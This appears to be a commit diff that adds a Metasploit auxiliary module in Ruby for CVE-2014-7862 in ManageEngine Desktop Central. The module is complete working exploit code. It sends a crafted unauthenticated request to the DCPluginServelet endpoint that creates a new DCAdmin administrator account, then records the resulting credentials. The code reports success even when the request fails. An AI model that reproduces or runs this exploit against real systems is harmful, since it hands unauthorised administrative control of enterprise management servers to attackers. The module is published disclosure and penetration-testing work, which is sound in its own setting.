|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'ManageEngine Desktop Central Administrator Account Creation', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits an administrator account creation vulnerability in Desktop Central |
| 18 | + from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in |
| 19 | + several versions of Desktop Central (including MSP) from v7 onwards. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module |
| 24 | + ], |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'References' => |
| 27 | + [ |
| 28 | + ['CVE', '2014-7862'], |
| 29 | + ['OSVDB', '116554'], |
| 30 | + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt'], |
| 31 | + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2'] |
| 32 | + ], |
| 33 | + 'DisclosureDate' => 'Dec 31 2014')) |
| 34 | + |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + OptPort.new('RPORT', [true, 'The target port', 8020]), |
| 38 | + OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']), |
| 39 | + OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), |
| 40 | + OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), |
| 41 | + OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]']) |
| 42 | + ], self.class) |
| 43 | + end |
| 44 | + |
| 45 | + |
| 46 | + def run |
| 47 | + # Generate password hash |
| 48 | + salt = Time.now.to_i.to_s |
| 49 | + password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*')) |
| 50 | + |
| 51 | + res = send_request_cgi({ |
| 52 | + 'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"), |
| 53 | + 'method' =>'GET', |
| 54 | + 'vars_get' => { |
| 55 | + 'action' => 'addPlugInUser', |
| 56 | + 'role' => 'DCAdmin', |
| 57 | + 'userName' => datastore['USERNAME'], |
| 58 | + 'email' => datastore['EMAIL'], |
| 59 | + 'phNumber' => Rex::Text.rand_text_numeric(6), |
| 60 | + 'password' => password_encoded, |
| 61 | + 'salt' => salt, |
| 62 | + 'createdtime' => salt |
| 63 | + } |
| 64 | + }) |
| 65 | + |
| 66 | + # Yes, "sucess" is really mispelt, as is "Servelet" ... ! |
| 67 | + unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/ |
| 68 | + print_error("#{peer} - Administrator account creation failed") |
| 69 | + end |
| 70 | + |
| 71 | + print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}") |
| 72 | + service_data = { |
| 73 | + address: rhost, |
| 74 | + port: rport, |
| 75 | + service_name: (ssl ? 'https' : 'http'), |
| 76 | + protocol: 'tcp', |
| 77 | + workspace_id: myworkspace_id |
| 78 | + } |
| 79 | + credential_data = { |
| 80 | + origin_type: :service, |
| 81 | + module_fullname: self.fullname, |
| 82 | + private_type: :password, |
| 83 | + private_data: datastore['PASSWORD'], |
| 84 | + username: datastore['USERNAME'] |
| 85 | + } |
| 86 | + |
| 87 | + credential_data.merge!(service_data) |
| 88 | + credential_core = create_credential(credential_data) |
| 89 | + login_data = { |
| 90 | + core: credential_core, |
| 91 | + access_level: 'Administrator', |
| 92 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 93 | + } |
| 94 | + login_data.merge!(service_data) |
| 95 | + create_credential_login(login_data) |
| 96 | + end |
| 97 | +end |
0 commit comments